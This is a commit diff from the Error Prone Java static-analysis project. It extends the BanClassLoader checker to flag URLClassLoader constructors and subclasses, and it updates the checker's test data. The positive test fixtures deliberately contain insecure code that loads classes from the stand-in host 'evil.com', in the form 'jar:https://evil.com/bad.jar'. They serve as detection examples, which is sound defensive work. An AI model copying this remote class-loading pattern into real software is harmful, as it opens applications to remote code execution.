Ban constructors of URLClassLoader in BanClassLoader checker.

Also ban any class extensions of URLClassLoader. All new violations have been exempted proactively, with some remaining 3p ones addressed in this CL. PiperOrigin-RevId: 540944763
google · Jul 8, 2023 · 0ab1706 · 0ab1706
1 parent 5aaf2d9
commit 0ab1706
Show file tree

Hide file tree

Showing 6 changed files with 117 additions and 46 deletions.
diff --git a/check_api/src/main/java/com/google/errorprone/matchers/Matchers.java b/check_api/src/main/java/com/google/errorprone/matchers/Matchers.java
@@ -1294,6 +1294,12 @@ public static Matcher<ClassTree> isDirectImplementationOf(String clazz) {
     return new IsDirectImplementationOf(isProvidedType);
   }
 
+  /** Matches any node that is a direct extension of the given class. */
+  public static Matcher<ClassTree> isExtensionOf(String clazz) {
+    Matcher<Tree> isProvidedType = isSameType(clazz);
+    return new IsExtensionOf(isProvidedType);
+  }
+
   @SafeVarargs
   public static Matcher<Tree> hasAnyAnnotation(Class<? extends Annotation>... annotations) {
     ArrayList<Matcher<Tree>> matchers = new ArrayList<>(annotations.length);
@@ -1369,6 +1375,22 @@ protected Iterable<? extends Tree> getChildNodes(ClassTree classTree, VisitorSta
     }
   }
 
+  private static class IsExtensionOf extends ChildMultiMatcher<ClassTree, Tree> {
+    IsExtensionOf(Matcher<Tree> classMatcher) {
+      super(MatchType.AT_LEAST_ONE, classMatcher);
+    }
+
+    @Override
+    protected Iterable<? extends Tree> getChildNodes(ClassTree classTree, VisitorState state) {
+      List<Tree> matched = new ArrayList<>();
+      Tree extendsClause = classTree.getExtendsClause();
+      if (extendsClause != null) {
+        matched.add(extendsClause);
+      }
+      return matched;
+    }
+  }
+
   /** Matches an AST node whose compilation unit's package name matches the given predicate. */
   public static <T extends Tree> Matcher<T> packageMatches(Predicate<String> predicate) {
     return (tree, state) -> predicate.test(getPackageFullName(state));

diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/BanClassLoader.java b/core/src/main/java/com/google/errorprone/bugpatterns/BanClassLoader.java
@@ -18,31 +18,37 @@
 
 import static com.google.errorprone.matchers.Matchers.anyMethod;
 import static com.google.errorprone.matchers.Matchers.anyOf;
+import static com.google.errorprone.matchers.Matchers.constructor;
+import static com.google.errorprone.matchers.Matchers.isExtensionOf;
+import static com.google.errorprone.predicates.TypePredicates.allOf;
+import static com.google.errorprone.predicates.TypePredicates.isDescendantOf;
 
 import com.google.errorprone.BugPattern;
 import com.google.errorprone.BugPattern.SeverityLevel;
 import com.google.errorprone.VisitorState;
+import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;
 import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher;
+import com.google.errorprone.bugpatterns.BugChecker.NewClassTreeMatcher;
 import com.google.errorprone.matchers.Description;
 import com.google.errorprone.matchers.Matcher;
+import com.sun.source.tree.ClassTree;
 import com.sun.source.tree.ExpressionTree;
 import com.sun.source.tree.MethodInvocationTree;
+import com.sun.source.tree.NewClassTree;
+import com.sun.source.tree.Tree;
 
 /** A {@link BugChecker} that detects use of the unsafe JNDI API system. */
 @BugPattern(
     summary =
         "Using dangerous ClassLoader APIs may deserialize untrusted user input into bytecode,"
             + " leading to remote code execution vulnerabilities",
     severity = SeverityLevel.ERROR)
-public final class BanClassLoader extends BugChecker implements MethodInvocationTreeMatcher {
+public final class BanClassLoader extends BugChecker
+    implements MethodInvocationTreeMatcher, NewClassTreeMatcher, ClassTreeMatcher {
 
-  /** Checks for direct or indirect calls to context.lookup() via the JDK */
-  private static final Matcher<ExpressionTree> MATCHER =
+  private static final Matcher<ExpressionTree> METHOD_MATCHER =
       anyOf(
-          anyMethod()
-              .onDescendantOf("java.lang.ClassLoader")
-              // findClass in ClassLoader is abstract, but in URLClassLoader it's dangerous
-              .namedAnyOf("defineClass", "findClass"),
+          anyMethod().onDescendantOf("java.lang.ClassLoader").named("defineClass"),
           anyMethod().onDescendantOf("java.lang.invoke.MethodHandles.Lookup").named("defineClass"),
           anyMethod()
               .onDescendantOf("java.rmi.server.RMIClassLoader")
@@ -51,14 +57,34 @@ public final class BanClassLoader extends BugChecker implements MethodInvocation
               .onDescendantOf("java.rmi.server.RMIClassLoaderSpi")
               .namedAnyOf("loadClass", "loadProxyClass"));
 
-  @Override
-  public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) {
-    if (state.errorProneOptions().isTestOnlyTarget() || !MATCHER.matches(tree, state)) {
+  private static final Matcher<ExpressionTree> CONSTRUCTOR_MATCHER =
+      constructor().forClass(allOf(isDescendantOf("java.net.URLClassLoader")));
+
+  private static final Matcher<ClassTree> EXTEND_CLASS_MATCHER =
+      isExtensionOf("java.net.URLClassLoader");
+
+  private <T extends Tree> Description matchWith(T tree, VisitorState state, Matcher<T> matcher) {
+    if (state.errorProneOptions().isTestOnlyTarget() || !matcher.matches(tree, state)) {
       return Description.NO_MATCH;
     }
 
     Description.Builder description = buildDescription(tree);
 
     return description.build();
   }
+
+  @Override
+  public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) {
+    return matchWith(tree, state, METHOD_MATCHER);
+  }
+
+  @Override
+  public Description matchNewClass(NewClassTree tree, VisitorState state) {
+    return matchWith(tree, state, CONSTRUCTOR_MATCHER);
+  }
+
+  @Override
+  public Description matchClass(ClassTree tree, VisitorState state) {
+    return matchWith(tree, state, EXTEND_CLASS_MATCHER);
+  }
 }
diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java
@@ -22,7 +22,7 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-/** {@link BanRMI}Test */
+/** {@link BanClassLoader}Test */
 @RunWith(JUnit4.class)
 public class BanClassLoaderTest {
   private final CompilationTestHelper compilationHelper =

diff --git a/...src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java b/...src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java
@@ -16,24 +16,24 @@
 
 package com.google.errorprone.bugpatterns.testdata;
 
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLClassLoader;
+import java.security.SecureClassLoader;
 
 class BanClassLoaderPositiveCases {
-  public static final Class<?> overrideURLClassLoader()
-      throws ClassNotFoundException, MalformedURLException {
-    URLClassLoader loader =
-        new URLClassLoader(new URL[] {new URL("eval.com")}) {
-          @Override
-          protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
-            return super.loadClass(name);
-          }
-        };
+  /** OK to extend SecureClassLoader */
+  class AnotherSecureClassLoader extends SecureClassLoader {}
+
+  /** OK to call loadClass if it's not on RMIClassLoader */
+  public final Class<?> overrideClassLoader() throws ClassNotFoundException {
+    SecureClassLoader loader = new AnotherSecureClassLoader();
     return loader.loadClass("BadClass");
   }
 
+  /** OK to define loadClass */
   private class NotClassLoader {
     protected void loadClass() {}
   }
+
+  public ClassLoader constructSecurityReviewedURLClassLoader() {
+    return new ReviewedURLClassLoader();
+  }
 }
diff --git a/...src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java b/...src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java
@@ -24,17 +24,21 @@
 import java.net.URLClassLoader;
 
 class BanClassLoaderPositiveCases {
-  /** Load a class using URLClassLoader. */
-  public static final Class<?> find() throws ClassNotFoundException, MalformedURLException {
-    URLClassLoader loader =
-        new URLClassLoader(new URL[] {new URL("eval.com")}) {
-          @Override
-          protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
-            // BUG: Diagnostic contains: BanClassLoader
-            return findClass(name);
-          }
-        };
-    return loader.loadClass("BadClass");
+  /** Override loadClass with an insecure implementation. */
+  // BUG: Diagnostic contains: BanClassLoader
+  class InsecureClassLoader extends URLClassLoader {
+    public InsecureClassLoader() {
+      super(new URL[0]);
+    }
+
+    @Override
+    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
+      try {
+        addURL(new URL("jar:https://evil.com/bad.jar"));
+      } catch (MalformedURLException e) {
+      }
+      return findClass(name);
+    }
   }
 
   /** Calling static methods in java.rmi.server.RMIClassLoader. */
@@ -43,6 +47,13 @@ public static final Class<?> loadRMI() throws ClassNotFoundException, MalformedU
     return loadClass("evil.com", "BadClass");
   }
 
+  /** Calling constructor of java.net.URLClassLoader. */
+  public ClassLoader loadFromURL() throws MalformedURLException {
+    // BUG: Diagnostic contains: BanClassLoader
+    URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")});
+    return loader;
+  }
+
   /** Calling methods of nested class. */
   public static final Class<?> methodHandlesDefineClass(byte[] bytes)
       throws IllegalAccessException {

diff --git a/...java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java b/...java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java
@@ -25,18 +25,22 @@
 import java.net.URLClassLoader;
 
 class BanClassLoaderPositiveCases {
-  /** Load a class using URLClassLoader. */
-  public static final Class<?> find() throws ClassNotFoundException, MalformedURLException {
-    URLClassLoader loader =
-        new URLClassLoader(new URL[] {new URL("eval.com")}) {
-          @SuppressBanClassLoaderCompletedSecurityReview
-          @Override
-          protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
-            // BUG: Diagnostic contains: BanClassLoader
-            return findClass(name);
-          }
-        };
-    return loader.loadClass("BadClass");
+  /** Override loadClass with an insecure implementation. */
+  // BUG: Diagnostic contains: BanClassLoader
+  @SuppressBanClassLoaderCompletedSecurityReview
+  class InsecureClassLoader extends URLClassLoader {
+    public InsecureClassLoader() {
+      super(new URL[0]);
+    }
+
+    @Override
+    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
+      try {
+        addURL(new URL("jar:https://evil.com/bad.jar"));
+      } catch (MalformedURLException e) {
+      }
+      return findClass(name);
+    }
   }
 
   /** Calling static methods in java.rmi.server.RMIClassLoader. */
@@ -46,6 +50,14 @@ public static final Class<?> loadRMI() throws ClassNotFoundException, MalformedU
     return loadClass("evil.com", "BadClass");
   }
 
+  /** Calling constructor of java.net.URLClassLoader. */
+  @SuppressBanClassLoaderCompletedSecurityReview
+  public ClassLoader loadFromURL() throws MalformedURLException {
+    // BUG: Diagnostic contains: BanClassLoader
+    URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")});
+    return loader;
+  }
+
   /** Calling methods of nested class. */
   @SuppressBanClassLoaderCompletedSecurityReview
   public static final Class<?> methodHandlesDefineClass(byte[] bytes)